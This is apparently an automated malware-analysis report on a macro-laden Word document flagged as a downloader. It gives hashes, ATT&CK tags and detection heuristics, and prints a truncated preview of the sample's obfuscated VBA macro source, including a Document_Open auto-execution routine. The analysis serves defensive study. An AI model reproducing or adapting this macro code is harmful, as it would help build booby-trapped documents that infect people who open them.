Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d52a4da16ebef62b…

MALICIOUS

Office (OLE)

185.0 KB Created: 2018-05-22 13:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 79147bb01aa5117601b1d3a616e6d122 SHA-1: 538db2bdca9065d4f95240d58d8162c5ed077520 SHA-256: d52a4da16ebef62b9061f02e82c2bb43cd82d53bdc798759b2ca1d0f7b0e508e
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro that is designed to execute code. Heuristics indicate this is a downloader, and ClamAV detection confirms it as malicious. The VBA macro code appears to be obfuscated but its primary function is to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12591 bytes
SHA-256: 629ad490dcd9387701b3423d12375ae43145486cbe75b302e6d17ddae755d792
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub moat()
Dim rabbitfish As Integer
Dim chrysemys As Byte
none.pet.Value = Day(#12/5/2013#)
varday = defecation = "scarfskin"
eulogize = "achievability"
baffled = "dermacentor"
apodemus = "investiture"
brilliancy = "ut"

dockage = "boringly"
officeholder = "stark"
shrike = "claiming"
Set barebone = none.pet.SelectedItem
tailspin = 5 + 10
 Pmt 0, tailspin, 28808, 54233, 8

connaraceae = barebone.Name
necessitate = 20 - 93 + 7917
effendi = Right(connaraceae, necessitate)
awakened = biomedical.appaloosa(effendi)
recalesce = 19 + 35
 Pmt 0, recalesce, 17943, 36587, 2

grissino = "marches"
libertinage = "bronchiolitis"
#If (32 - 39 + 407 + 74 - 76 + 302) > ((77 - 122 + 365) - (82 - 35 + 493) * 1) And ((57 - 51 + 22) - (43 - 54 + 39)) * 2 < (Win64) Then
Dim feeling As Variant
Dim acanthuridae As LongPtr
Dim parenthese As LongPtr
Dim madman As Integer
#ElseIf (49 - 124 + 475 + 91 - 88 + 297) > ((128 - 32 + 224) - (24 - 78 + 594) * 1) And Not ((75 - 79 + 32) - (125 - 59 - 38)) * 2 < (Win64) Then
Dim beaut As Long
Dim parenthese As Long
Dim razing As Long
Dim acanthuridae As Long
#End If
criminology = 28 - 121 + 93
webwork = "colobus"
carcinoma = 106 - 90 + 4080
localize = 53 + 19
 Pmt 0, localize, 16525, 50593, 6

campaniliform = "masked"
gummosis = "domiciliary"
macedoine = "cardigan"
cozily = 50 + 38
 Pmt 0, cozily, 21503, 23508, 5

reallotment = awakened
charade = conacaste
leguminous = "turreae"
acanthuridae = selfawareness(reallotment)
multitudinous = bilateral
#If (46 - 95 + 449 + 106 - 30 + 224) > ((88 - 43 + 275) - (99 - 13 + 454) * 1) And ((48 - 109 + 89) - (38 - 92 + 82)) * 2 < (Win64) Then
Dim aromatic As Variant
Dim manila As LongPtr
Dim heading As LongPtr
Dim playhouse As LongPtr
appointment = 117 - 102 + 2049
#ElseIf (67 - 66 + 399 + 105 - 33 + 228) > ((118 - 114 + 316) - (74 - 64 + 530) * 1) And Not ((27 - 70 + 71) - (37 - 104 + 95)) * 2 < (Win64) Then
Dim manila As Long
gloire = 22 - 114 + 873
Dim heading As Long
Dim playhouse As Long
appointment = gloire + 3459
#End If
Dim motet As Long
Dim bramidae As Variant
manila = 67 - 65 - 2
parenthese = acanthuridae + appointment
heading = 68 - 101 + 201560
playhouse = 37 - 104 + 3567
copepod = piggishly(heading, _
manila, parenthese, _
manila, manila, manila, _
manila)
blechnaceae = 28 + 20
Pmt 0, blechnaceae, 15301, 34242, 6
End Sub
Private Sub Document_Open()
animatism = tank
moat
flattery = 45 + 56
Pmt 0, flattery, 24936, 19877, 7
End Sub
Function nick(unornamented, bacteriostat, overlie)
Dim orchestrator As Long
Dim thickset As Integer
Dim possible As Long
Dim respiratory As Integer
Dim diseased As Long
Dim beattie As Integer
Dim battleax As Long
Dim audiometry As Long
Dim linelike As Long
Dim alundum As String
Dim brihaspati As Variant
bombycidae = Math.Round(228)
bombycidae = Fix(169)
orchestrator = unornamented
linelike = overlie
brat = brat
diseased = bacteriostat
vivarium = 28 + 24
 Pmt 0, vivarium, 23889, 13118, 3

bombycidae = bombycidae * 3
possible = 84 - 32 - 53
rouse ByVal possible, orchestrator, diseased, linelike, battleax
arrack = "shrug"
End Function
Function abysmal(funds, royally, apparentness)
Dim exogamous As Integer
Dim dad As String
Dim cyprinid As LongPtr
Dim advanced As LongPtr
Dim nasality As LongPtr
Dim unio As Integer
Dim monkey As LongPtr
Dim daybed As LongPtr
bombycidae = Fix(364)
arrack = "lavishly"
advanced = funds
daybed = apparentness
arrack = arrack
monkey = royally
downtoearth = 47 + 52
Pmt 0, downtoearth, 11000, 23247, 2
bombycidae = Rnd(345)
cyprinid = 128 - 63 - 66
rouse ByVal cyprinid, _
advanced, _
monkey, daybed, _
nasality
bombycidae = Rnd(113)
End Function
Function selfawareness(tumultuous)
Dim sidecar As Byte
... (truncated)